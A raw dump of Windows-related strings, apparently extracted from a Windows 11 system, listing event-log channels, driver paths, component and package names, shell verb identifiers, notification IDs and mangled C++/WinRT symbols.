Microsoft-Windows-WDAG-PolicyEvaluator-CSP/Operational
Microsoft-Windows-WDAG-PolicyEvaluator-GP/Operational
Microsoft-Windows-WebAuth/Operational
Microsoft-Windows-WebcamProvider/Analytic
Microsoft-Windows-WebIO-DiagInfo
Microsoft-Windows-WebIO-NDF/Diagnostic
Microsoft-Windows-WebIO/Diagnostic
Microsoft-Windows-WebIO/Operational
Microsoft-Windows-WebPlatStorage-Server
Microsoft-Windows-WebServices/Tracing
Microsoft-Windows-Websocket-Protocol-Component/Tracing
Microsoft-Windows-WEPHOSTSVC/Operational
Microsoft-Windows-WER-Diag/Operational
Microsoft-Windows-WER-PayloadHealth/Operational
Microsoft-Windows-WerKernel/Operational
Microsoft-Windows-WFP/Analytic
Microsoft-Windows-WFP/Operational
Microsoft-Windows-WiFiDisplay/Analytic
Microsoft-Windows-Win32k/Concurrency
Microsoft-Windows-Win32k/Contention
Microsoft-Windows-Win32k/Messages
Microsoft-Windows-Win32k/Operational
Microsoft-Windows-Win32k/Power
Microsoft-Windows-Win32k/Render
Microsoft-Windows-Win32k/Tracing
Microsoft-Windows-Win32k/UIPI
Microsoft-Windows-Windeploy/Analytic
Microsoft-Windows-Windows Firewall With Advanced Security/ConnectionSecurity
Microsoft-Windows-Windows Firewall With Advanced Security/ConnectionSecurityVerbose
Microsoft-Windows-Windows Firewall With Advanced Security/Firewall
Microsoft-Windows-Windows Firewall With Advanced Security/FirewallDiagnostics
Microsoft-Windows-Windows Firewall With Advanced Security/FirewallVerbose
Microsoft-Windows-WindowsBackup/ActionCenter
Microsoft-Windows-WindowsColorSystem/Debug
Microsoft-Windows-WindowsColorSystem/Operational
Microsoft-Windows-WindowsSystemAssessmentTool/Operational
Microsoft-Windows-WindowsSystemAssessmentTool/Tracing
Microsoft-Windows-WindowsUIImmersive/Diagnostic
Microsoft-Windows-WindowsUIImmersive/Operational
Microsoft-Windows-WindowsUpdateClient/Analytic
Microsoft-Windows-WindowsUpdateClient/Operational
Microsoft-Windows-WinHTTP-NDF/Diagnostic
Microsoft-Windows-WinHttp-Pca
Microsoft-Windows-WinHttp/Diagnostic
Microsoft-Windows-WinHttp/Operational
Microsoft-Windows-WinINet-Capture/Analytic
Microsoft-Windows-WinINet-Config/ProxyConfigChanged
Microsoft-Windows-WinINet/Analytic
Microsoft-Windows-WinINet/Operational
Microsoft-Windows-WinINet/Pca
Microsoft-Windows-WinINet/UsageLog
Microsoft-Windows-WinINet/WebSocket
Microsoft-Windows-Wininit/Diagnostic
Microsoft-Windows-Winlogon/Diagnostic
Microsoft-Windows-Winlogon/Operational
Microsoft-Windows-WinMDE/MDE
Microsoft-Windows-WinML/Analytic
Microsoft-Windows-WinNat/Oper
Microsoft-Windows-WinNat/Trace
Microsoft-Windows-WinRM/Analytic
Microsoft-Windows-WinRM/Debug
Microsoft-Windows-WinRM/Operational
Microsoft-Windows-Winsock-AFD/Operational
Microsoft-Windows-Winsock-NameResolution/Operational
Microsoft-Windows-Winsock-WS2HELP/Operational
Microsoft-Windows-Winsrv/Analytic
Microsoft-Windows-WinURLMon/Analytic
Microsoft-Windows-Wired-AutoConfig/Diagnostic
Microsoft-Windows-Wired-AutoConfig/Operational
Microsoft-Windows-WLAN-Autoconfig/Diagnostic
Microsoft-Windows-WLAN-AutoConfig/Operational
Microsoft-Windows-WLAN-Driver/Analytic
Microsoft-Windows-WlanDlg/Analytic
Microsoft-Windows-wmbclass/Analytic
Microsoft-Windows-wmbclass/Trace
Microsoft-Windows-WMI-Activity/Debug
Microsoft-Windows-WMI-Activity/Operational
Microsoft-Windows-WMI-Activity/Trace
Microsoft-Windows-WMPDMCUI/Diagnostic
Microsoft-Windows-WMPNSS-PublicAPI/Diagnostic
Microsoft-Windows-WMPNSS-Service/Diagnostic
Microsoft-Windows-WMPNSS-Service/Operational
Microsoft-Windows-WMPNSSUI/Diagnostic
Microsoft-Windows-WorkFolders/Analytic
Microsoft-Windows-WorkFolders/Debug
Microsoft-Windows-WorkFolders/Operational
Microsoft-Windows-WorkFolders/WHC
Microsoft-Windows-Workplace Join/Admin
Microsoft-Windows-WPD-API/Analytic
Microsoft-Windows-WPD-ClassInstaller/Analytic
Microsoft-Windows-WPD-ClassInstaller/Operational
Microsoft-Windows-WPD-CompositeClassDriver/Analytic
Microsoft-Windows-WPD-CompositeClassDriver/Operational
Microsoft-Windows-WPD-MTPBT/Analytic
Microsoft-Windows-WPD-MTPClassDriver/Analytic
Microsoft-Windows-WPD-MTPClassDriver/Operational
Microsoft-Windows-WPD-MTPIP/Analytic
Microsoft-Windows-WPD-MTPUS/Analytic
Microsoft-Windows-WSC-SRV/Diagnostic
Microsoft-Windows-WWAN-NDISUIO-EVENTS/Diagnostic
Microsoft-Windows-XAML-Diagnostics/Default
Microsoft-Windows-XAML/Default
Microsoft-Windows-XAudio2/Debug
Microsoft-Windows-XAudio2/Performance
Microsoft-Windows-ZTraceMaps/Function
Microsoft-Windows-ZTraceMaps/Operational
Microsoft-WindowsPhone-Connectivity-WiFiConnSvc-Channel
Microsoft-Windows-Audit/Analytic
Microsoft-Windows-Authentication User Interface/Operational
Microsoft-Windows-AxInstallService/Log
Microsoft-Windows-BackgroundTaskInfrastructure/Diagnostic
Microsoft-Windows-BackgroundTaskInfrastructure/Operational
Microsoft-Windows-BackgroundTransfer-ContentPrefetcher/Operational
Microsoft-Windows-Backup
Microsoft-Windows-Base-Filtering-Engine-Connections/Operational
Microsoft-Windows-Base-Filtering-Engine-Resource-Flows/Operational
Microsoft-Windows-Battery/Diagnostic
Microsoft-Windows-Biometrics/Analytic
Microsoft-Windows-Biometrics/Operational
Microsoft-Windows-BitLocker-DrivePreparationTool/AdminG
Microsoft-Windows-BitLocker-DrivePreparationTool/Operational
Microsoft-Windows-BitLocker-Driver-Performance/Operational
Microsoft-Windows-BitLocker/BitLocker Management
Microsoft-Windows-BitLocker/BitLocker Operational
Microsoft-Windows-BitLocker/Tracing
Microsoft-Windows-Bits-Client/Analytic
Microsoft-Windows-Bits-Client/Operational
Microsoft-Windows-Bluetooth-BthLEPrepairing/Operational
Microsoft-Windows-Bluetooth-MTPEnum/Operational
Microsoft-Windows-BranchCache/Operational
Microsoft-Windows-BranchCacheClientEventProvider/Diagnostic
Microsoft-Windows-BranchCacheEventProvider/Diagnostic
Microsoft-Windows-BranchCacheMonitoring/Analytic
Microsoft-Windows-BranchCacheSMB/Analytic
Microsoft-Windows-BranchCacheSMB/Operational
Microsoft-Windows-CAPI2/Catalog Database Debug
Microsoft-Windows-CAPI2/Operational
Microsoft-Windows-CDROM/Operational
Microsoft-Windows-CertificateServicesClient-CredentialRoaming/Operational
Microsoft-Windows-CertificateServicesClient-Lifecycle-System/Operational
Microsoft-Windows-CertificateServicesClient-Lifecycle-User/Operational
Microsoft-Windows-CertPoleEng/Operational
Microsoft-Windows-Cleanmgr/Diagnostic
Microsoft-Windows-ClearTypeTextTuner/Diagnostic
Microsoft-Windows-CloudFiles-Filter/Debug
Microsoft-Windows-CloudFiles-Filter/Operational
Microsoft-Windows-CloudRestoreLauncher/Operational
Microsoft-Windows-CloudStore/Debug
Microsoft-Windows-CloudStore/Initialization
Microsoft-Windows-CloudStore/Operational
Microsoft-Windows-CmiSetup/Analytic
Microsoft-Windows-CodeIntegrity/Operational
Microsoft-Windows-CodeIntegrity/Verbose
Microsoft-Windows-COM/ApartmentInitialize
Microsoft-Windows-COM/ApartmentUninitialize
Microsoft-Windows-COM/Call
Microsoft-Windows-COM/CreateInstance
Microsoft-Windows-COM/ExtensionCatalog
Microsoft-Windows-COM/FreeUnusedLibrary
Microsoft-Windows-COM/RundownInstrumentation
Microsoft-Windows-ComDlg32/Analytic
Microsoft-Windows-ComDlg32/Debug
Microsoft-Windows-Compat-Appraiser/Analytic
Microsoft-Windows-Compat-Appraiser/Operational
Microsoft-Windows-COMRuntime/Activations
Microsoft-Windows-COMRuntime/MessageProcessing
Microsoft-Windows-COMRuntime/Tracing
Microsoft-Windows-Containers-BindFlt/Debug
Microsoft-Windows-Containers-BindFlt/Operational
Microsoft-Windows-Containers-Wcifs/Debug
Microsoft-Windows-Containers-Wcifs/Operational
Microsoft-Windows-CoreApplication/Diagnostic
Microsoft-Windows-CoreApplication/Operational
Microsoft-Windows-CoreApplication/Tracing
Microsoft-Windows-CoreSystem-SmsRouter-Events/Debug
Microsoft-Windows-CoreSystem-SmsRouter-Events/Operational
Microsoft-Windows-CoreWindow/Analytic
Microsoft-Windows-CoreWindow/Debug
Microsoft-Windows-CorruptedFileRecovery-Client/Operational
Windows Networking Vpn Plugin Platform/Operational
Windows Networking Vpn Plugin Platform/OperationalVerbose
WINDOWS_MFH264Enc_CHANNEL
WINDOWS_MP4SDECD_CHANNEL
WINDOWS_MSMPEG2ADEC_CHANNEL
WINDOWS_MSMPEG2VDEC_CHANNEL
WINDOWS_VC1ENC_CHANNEL
WINDOWS_WMPHOTO_CHANNEL
amd64_microsoft-windows-settings-2011_31bf3856ad364e35_none_315c948a1147b31c
amd64_microsoft-windows-settings-2013_31bf3856ad364e35_none_315c66fa1147e65e
amd64_microsoft-windows-settings-2014_31bf3856ad364e35_none_315c50321147ffff
amd64_microsoft-windows-settings-2016_31bf3856ad364e35_none_315c22a211483341
amd64_microsoft-windows-settings-2017_31bf3856ad364e35_none_315c0bda11484ce2
amd64_microsoft-windows-settings-2019_31bf3856ad364e35_none_315bde4a11488024
amd64_microsoft-windows-settings-2020_31bf3856ad364e35_none_315dab9c1146b2d2
amd64_microsoft-windows-settings-2024_31bf3856ad364e35_none_315d507c11471956
amd64_microsoft-windows-settings_31bf3856ad364e35_none_5e7b0013834d1c8b
x86_microsoft-windows-settings-2011_31bf3856ad364e35_none_d53df90658ea41e6
x86_microsoft-windows-settings-2013_31bf3856ad364e35_none_d53dcb7658ea7528
x86_microsoft-windows-settings-2014_31bf3856ad364e35_none_d53db4ae58ea8ec9
x86_microsoft-windows-settings-2016_31bf3856ad364e35_none_d53d871e58eac20b
x86_microsoft-windows-settings-2017_31bf3856ad364e35_none_d53d705658eadbac
x86_microsoft-windows-settings-2019_31bf3856ad364e35_none_d53d42c658eb0eee
x86_microsoft-windows-settings-2020_31bf3856ad364e35_none_d53f101858e9419c
x86_microsoft-windows-settings-2024_31bf3856ad364e35_none_d53eb4f858e9a820
x86_microsoft-windows-settings_31bf3856ad364e35_none_025c648fcaefab55
WindowsUpdateRebootDowntimeEstimate
1BE09B69A1E2B83B_3_-_Windows_Explorer_lnk_amd64.lnk
1CE09B69A1E2B83B_01a_-_Windows_PowerShell_lnk_amd64.lnk
1CE09B69A1E2B83B_02a_-_Windows_PowerShell_lnk_amd64.lnk
F2F852BA90DD4456_Windows_Defender_Firewall_with_Advanced_Security_lnk_amd64.lnk
B58344106F8A9A19_Windows_PowerShell_ISE__x86__lnk_amd64.lnk
B58344106F8A9A19_Windows_PowerShell_ISE_lnk_amd64.lnk
56232F17EB1E3FC2_Windows_Media_Player_Legacy_lnk_amd64.lnk8
Windows
%SystemRoot%/System32/drivers/3ware.sys
%SystemRoot%/System32/drivers/amdgpio2.sys
%SystemRoot%/System32/drivers/amdi2c.sys
%SystemRoot%/System32/drivers/amdsata.sys
%SystemRoot%/System32/drivers/amdsbs.sys
%SystemRoot%/System32/drivers/amdxata.sys
%SystemRoot%/System32/drivers/AppleSSD.sys
%SystemRoot%/System32/drivers/bcmfn2.sys
%SystemRoot%/System32/drivers/bxvbda.sys
%SystemRoot%/System32/drivers/cht4dx64.sys
%SystemRoot%/System32/drivers/cht4sx64.sys
%SystemRoot%/System32/drivers/iagpio.sys
%SystemRoot%/System32/drivers/iai2c.sys
%SystemRoot%/System32/drivers/iaLPSS2i_GPIO2.sys
%SystemRoot%/System32/drivers/iaLPSS2i_GPIO2_BXT_P.sys
%SystemRoot%/System32/drivers/iaLPSS2i_GPIO2_CNL.sys
%SystemRoot%/System32/drivers/iaLPSS2i_GPIO2_GLK.sys
%SystemRoot%/System32/drivers/iaLPSS2i_I2C.sys
%SystemRoot%/System32/drivers/iaLPSS2i_I2C_BXT_P.sys
%SystemRoot%/System32/drivers/iaLPSS2i_I2C_CNL.sys
%SystemRoot%/System32/drivers/iaLPSS2i_I2C_GLK.sys
%SystemRoot%/System32/drivers/iaLPSSi_GPIO.sys
%SystemRoot%/System32/drivers/iaLPSSi_I2C.sys
%SystemRoot%/System32/drivers/iaStorAVC.sys
%SystemRoot%/System32/drivers/iaStorV.sys
%SystemRoot%/System32/drivers/megasr.sys
%SystemRoot%/System32/drivers/mssmbios.sys
%SystemRoot%/System32/drivers/mvumis.sys
%SystemRoot%/System32/drivers/nvraid.sys
%SystemRoot%/System32/drivers/nvstor.sys
%SystemRoot%/System32/drivers/sisraid2.sys
%SystemRoot%/System32/drivers/sisraid4.sys
%SystemRoot%/System32/drivers/stexstor.sys
%SystemRoot%/System32/drivers/vsmraid.sys
%SystemRoot%/System32/drivers/VSTXRAID.SYS
Windows.Internal.Extensions.ApplicationModel.CardActivator
Windows.Internal.Extensions.ApplicationModel.DismissActivator
Windows.Internal.Extensions.ApplicationModel.LegacyActivator
Windows.Internal.Extensions.ApplicationModel.NitroActivator
Windows.Internal.Extensions.ApplicationModel.RegistryActivator
Windows.Internal.Extensions.ApplicationModel.RoutingActivator
Windows.Internal.Extensions.ApplicationModel.SnoozeActivator
Windows.Internal.Notifications.ToastActivator_AppLaunch
Windows.Internal.Notifications.ToastActivator_Backgroundx
Windows.Internal.Notifications.ToastActivator_Collectionx
Windows.Internal.Notifications.ToastActivator_Foregroundx
Windows.Internal.Notifications.ToastActivator_Protocol
Windows.Internal.Extensions.ApplicationModel.CollectionAppInfoProvider
Windows.Internal.Extensions.ApplicationModel.ContentDeliveryManagerAppInfoProvider
Windows.Internal.Extensions.ApplicationModel.SystemAppInfoProvider
Windows.Internal.Extensions.ApplicationModel.UniversalAppInfoProvider
Windows.Internal.Extensions.ApplicationModel.Win32AppInfoProvider
Microsoft.Windows.DynamicLightingToastHandler
Microsoft.Windows.InputSwitchToastHandler
Microsoft.Windows.ParentalControls
Windows.Defender
Windows.System.AppInitiatedDownload
Windows.System.Audio
Windows.System.Continuum
Windows.System.DialServer
Windows.System.MiracastReceiver
Windows.System.NearShareExperienceReceive
Windows.System.ShareExperience
Windows.SystemToast.AudioTroubleshooter
Windows.SystemToast.AutoPlay
Windows.SystemToast.BackgroundAccess
Windows.SystemToast.BackupReminder
Windows.SystemToast.BdeUnlock{
Windows.SystemToast.BitLockerPolicyRefresh
Windows.SystemToast.Bthprops
Windows.SystemToast.BthQuickPair
Windows.SystemToast.Calling
Windows.SystemToast.Calling.SystemAlertNotification
Windows.SystemToast.CameraTroubleshooter
Windows.SystemToast.Compat
Windows.SystemToast.DefaultAudioEndpoint
Windows.SystemToast.DeviceConsent
Windows.SystemToast.DeviceEnrollmentActivity
Windows.SystemToast.DeviceManagement
Windows.SystemToast.Devices
Windows.SystemToast.DevicesFlow
Windows.SystemToast.DisplayBroker
Windows.SystemToast.EnterpriseDataProtection
Windows.SystemToast.Explorer
Windows.SystemToast.HelloFace
Windows.SystemToast.LanguageSettings
Windows.SystemToast.LocationManager
Windows.SystemToast.LowDisk
Windows.SystemToast.NfpAppAcquire
Windows.SystemToast.NfpAppLaunch
Windows.SystemToast.NfpDevicePairing
Windows.SystemToast.NfpReceiveContent
Windows.SystemToast.PinConsent
Windows.SystemToast.Print.Notification
Windows.SystemToast.Print.PrinterCleanupTask
Windows.SystemToast.Print.PrintNotification
Windows.SystemToast.RasToastNotifier
Windows.SystemToast.SecurityAndMaintenance
Windows.SystemToast.SecurityCenter
Windows.SystemToast.ServiceInitiatedHealing.Notification
Windows.SystemToast.Share
Windows.SystemToast.SoftLanding
Windows.SystemToast.SpeechServices
Windows.SystemToast.StartupApp
Windows.SystemToast.StorSvc
Windows.SystemToast.SuggestedActions
Windows.SystemToast.Usb.Notification
Windows.SystemToast.WiFiNetworkManager
Windows.SystemToast.WindowsUpdate.MoNotification
Windows.SystemToast.WindowsUpdate.MoNotification2
Windows.SystemToast.Wwansvc
DRAGDROP_XDOM_ACROSSWINDOWS
WINDOWS_BROWSER_APPLICATIONS
UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UXamlBindings@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UXamlBindings@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVector@UProcessViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVector@UProcessViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AUtype@?$abi@U?$IVector@UProcessViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@U?$inspectable_observable_vector@V?$vector@UIInspectable@Foundation@Windows@winrt@@V?$allocator@UIInspectable@Foundation@Windows@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$inspectable_observable_vector@V?$vector@UIInspectable@Foundation@Windows@winrt@@V?$allocator@UIInspectable@Foundation@Windows@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IObservableVector@Uhstring@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AUtype@?$abi@U?$IObservableVector@Uhstring@winrt@@@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IObservableVector@Uhstring@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
Microsoft.WindowsCalculator_8wekyb3d8bbwe!App
USER32.SetWindowsHookExW
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft.Windows.Security.BCrypt
Microsoft.Windows.TlgAggregateInternal
default$windows.data.bluelightreduction.settings
windows.data.bluelightreduction.settingsp
default$windows.data.bluelightreduction.bluelightreductionstate
windows.data.bluelightreduction.bluelightreductionstate
Windows.Networking.BackgroundTransfer.Internal'
Windows Reset Log Files
Windows Upgrade Log Files
Windows Wallpapers
%SystemRoot%\web\wallpaper\Windows
WindowsUpdate
Windows.aboutWindows
Windows.AddColumns
Windows.AddDevice
Windows.AddMediaServer
Windows.AddNetworkLocation
Windows.AddPrinter
Windows.AddRemovePrograms
Windows.AddToFavorites
Windows.Autoplay
Windows.Backup
Windows.BitLocker
Windows.BitLocker.Encrypt
Windows.BitLocker.Manage
Windows.BitLocker.ResetPasswordPin
Windows.burn
Windows.Burn.Action
Windows.Cancel
Windows.change-passphrase
Windows.change-pin
Windows.ChangeIndexedLocations
Windows.ChooseColumns
Windows.CleanUp
Windows.ClearAddressBarHistory
Windows.ClearFrequentHistory
Windows.clearRecentDocs
Windows.closewindow
Windows.cmd
Windows.cmdPromptAsAdministrator
Windows.CompactMode
Windows.CompressedFile.extract
Windows.CompressedFile.ExtractTo
Windows.CompressedFolder.extract
Windows.CompressedItem.extract
Windows.CompressTo
Windows.CompressTo.7Z
Windows.CompressTo.Tar
Windows.CompressTo.Wizard
Windows.CompressTo.Zip
Windows.Computer.Manage
Windows.connectNetworkDrive
Windows.copy
Windows.copyaspath
Windows.CopyToBrowser
Windows.CopyToMenu
Windows.CscSync
Windows.CscWorkOfflineOnline
Windows.cut
Windows.Defragment
Windows.delete
Windows.Dialog.DisconnectNetworkDrive
Windows.DiscImage.burn
Windows.DisconnectNetworkDrive
Windows.DiskFormat
Windows.DriveFolder.DisconnectNetworkDrive
Windows.edit
Windows.Eject
Windows.email
Windows.encrypt-bde
Windows.encrypt-bde-elev
Windows.Enqueue
Windows.EraseDisc
Windows.EraseDisc.Action
Windows.fax
Windows.FilterButtonAllFileTypes
Windows.FilterButtonExcel
Windows.FilterButtonImages
Windows.FilterButtonPDF
Windows.FilterButtonPowerPoint
Windows.FilterButtonVideos
Windows.FilterButtonWord
Windows.FinishBurn
Windows.folderoptions
Windows.GalleryFilterCommand
Windows.GalleryManageLocationsCommand
Windows.GroupByColumn
Windows.help
Windows.HideSelected
Windows.HistoryVaultRestore
Windows.HomeGroupCPL
Windows.HomeGroupJoin
Windows.HomeGroupPassword
Windows.HomeGroupSharing
Windows.HomeGroupTroubleshooter
Windows.IconSize
Windows.includeinlibrary
Windows.invertselection
Windows.layout
Windows.LibraryChangeIcon
Windows.LibraryDefaultSaveLocation
Windows.LibraryIncludeInLibrary
Windows.LibraryManageLibrary
Windows.LibraryOptimizeLibraryFor
Windows.LibraryPublicSaveLocation
Windows.LibraryRestoreDefaults
Windows.LibrarySelChangeIcon
Windows.LibrarySelDefaultSaveLocation
Windows.LibrarySelManageLibrary
Windows.LibrarySelOptimizeLibraryFor
Windows.LibrarySelPublicSaveLocation
Windows.LibrarySelRestoreDefaults
Windows.LibrarySelShowInNavPane
Windows.LibraryShowInNavPane
Windows.location.cmd
Windows.location.cmdPromptAsAdministrator
Windows.location.opennewprocess
Windows.location.opennewwindow
Windows.location.Powershell
Windows.location.PowershellAsAdmin
Windows.manage-bde
Windows.manage-bde-elev
Windows.MapNetworkDrive
Windows.menubar
Windows.ModernShare
Windows.ModernShareFlyout
Windows.mount
Windows.MoveToBrowser
Windows.MoveToMenu
Windows.MultiVerb.cmd
Windows.MultiVerb.cmdPromptAsAdministrator
Windows.MultiVerb.opennewprocess
Windows.MultiVerb.opennewtab
Windows.MultiVerb.opennewwindow
Windows.MultiVerb.Powershell
Windows.MultiVerb.PowershellAsAdmin
Windows.NavigateBack
Windows.NavigateForward
Windows.NavigateUp
Windows.navpane
Windows.NavPaneExpandToCurrentFolder
Windows.NavPaneShowAllFolders
Windows.NavPaneShowLibraries
Windows.NavPaneShowNetwork
Windows.NavPaneShowThisPC
Windows.NetworkAndSharing
Windows.NetworkViewDeviceWebpage
Windows.newfolder
Windows.newitem
Windows.open
Windows.OpenContainingFolder.opencontaining
Windows.OpenControlPanel
Windows.opennewprocess
Windows.opennewwindow
Windows.OpenPrinterServerProperty
Windows.OpenPrintQueue
Windows.OpenSearch.openfilelocation
Windows.OpenSearchViewSite
Windows.OpenWith
Windows.organize
Windows.paste
Windows.pastelink
Windows.PermanentDelete
Windows.play
Windows.playall
Windows.playmusic
Windows.PowershellAsAdmin
Windows.previewpane
Windows.print
Windows.properties
Windows.readingpane
Windows.recycle
Windows.RecycleBin.Empty
Windows.RecycleBin.Location.properties
Windows.RecycleBin.properties
Windows.RecycleBin.RestoreAll
Windows.RecycleBin.RestoreItems
Windows.RecycleBin.Selection.properties
Windows.redo
Windows.Refresh
Windows.remotedesktop
Windows.RemoveMediaServer
Windows.removeproperties
Windows.rename
Windows.RibbonDelete
Windows.RibbonFilterCommand
Windows.RibbonPermissionsDialog
Windows.RibbonShare
Windows.RibbonSync.MakeAvailableOffline
Windows.RibbonSync.SyncThisFolder
Windows.RibbonSync.WorkOfflineOnline
Windows.rotate270
Windows.rotate90
Windows.runas
Windows.runasuser
Windows.SearchActiveDirectory
Windows.SearchClearMru
Windows.SearchCloseTab
Windows.SearchFilterDate
Windows.SearchFilterKind
Windows.SearchFilterMoreProperties
Windows.SearchFilterSize
Windows.SearchMru
Windows.SearchOpenLocation
Windows.SearchOptionCompressed
Windows.SearchOptionContents
Windows.SearchOptionDeep
Windows.SearchOptionShallow
Windows.SearchOptionSystem
Windows.SearchSave
Windows.SearchSendTo
Windows.SearchSendToComputer
Windows.selectall
Windows.SelectionCheckboxes
Windows.selectMode
Windows.selectnone
Windows.separator
Windows.setdesktopwallpaper
Windows.Share
Windows.SharePrivate
Windows.ShareSpecificUsers
Windows.Shortcut.opencontaining
Windows.ShowFileExtensions
Windows.ShowHiddenFiles
Windows.SizeAllColumns
Windows.slideshow
Windows.SortAscending
Windows.SortByColumn
Windows.SortDescending
Windows.SortGroupsAscending
Windows.SortGroupsDescending
Windows.StartScan
Windows.statusbar
Windows.Sync
Windows.SystemProperties
Windows.taskbarpin
Windows.ToggleRecycleConfirmations
Windows.topviewrestoredefault
Windows.Troubleshoot
Windows.undo
Windows.UpdatePrinterDriver
Windows.v2.Powershell
Windows.View.OptionsGallery
Windows.ViewRemotePrinters
Windows.zip
Windows.Zip.Action
Microsoft-Windows-WMIC-FoD-Package-Wrapper~31bf3856ad364e35~amd64~en-US~10.0.26100.7824.cat
#oMicrosoft-Windows-WMIC-FoD-Package~31bf3856ad364e35~wow64~~10.0.26100.1742.cat
Microsoft-Windows-WMIC-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.1455.catX
Microsoft-Windows-WMIC-FoD-Package-Wrapper~31bf3856ad364e35~wow64~~10.0.26100.1742.cat
Microsoft-Windows-WMIC-FoD-Package~31bf3856ad364e35~wow64~~10.0.26100.7824.cat
MTMicrosoft-Windows-WMIC-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.5074.cat
Microsoft-Windows-WMIC-WOW64-Package~31bf3856ad364e35~wow64~en-US~10.0.26100.1.cat
Microsoft.WindowsCalculator_2021.2502.2.0_neutral_~_8wekyb3d8bbwe
Microsoft.Windows.Bowser
Microsoft.Windows.SMB.MRXSMB
Microsoft.Windows.EDP.Enforcement
Microsoft.Windows.TlgAggregateInternal
@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@3@Ucollection_version@23@@winrt@@
.?AU?$produce_base@U?$map_impl@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@V?$map@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@U?$less@Uhstring@winrt@@@std@@V?$allocator@U?$pair@$$CBUhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@std@@@7@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IIterable@U?$IKeyValuePair@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AUtype@?$abi@U?$IIterable@U?$IKeyValuePair@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@winrt@@@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@U?$map_impl@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@V?$map@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@U?$less@Uhstring@winrt@@@std@@V?$allocator@U?$pair@$$CBUhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@std@@@7@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IIterable@U?$IKeyValuePair@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$map_impl@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@V?$map@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@U?$less@Uhstring@winrt@@@std@@V?$allocator@U?$pair@$$CBUhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@std@@@7@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IMapView@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AUtype@?$abi@U?$IMapView@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@U?$map_impl@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@V?$map@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@U?$less@Uhstring@winrt@@@std@@V?$allocator@U?$pair@$$CBUhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@std@@@7@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IMapView@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@3@@impl@winrt@@
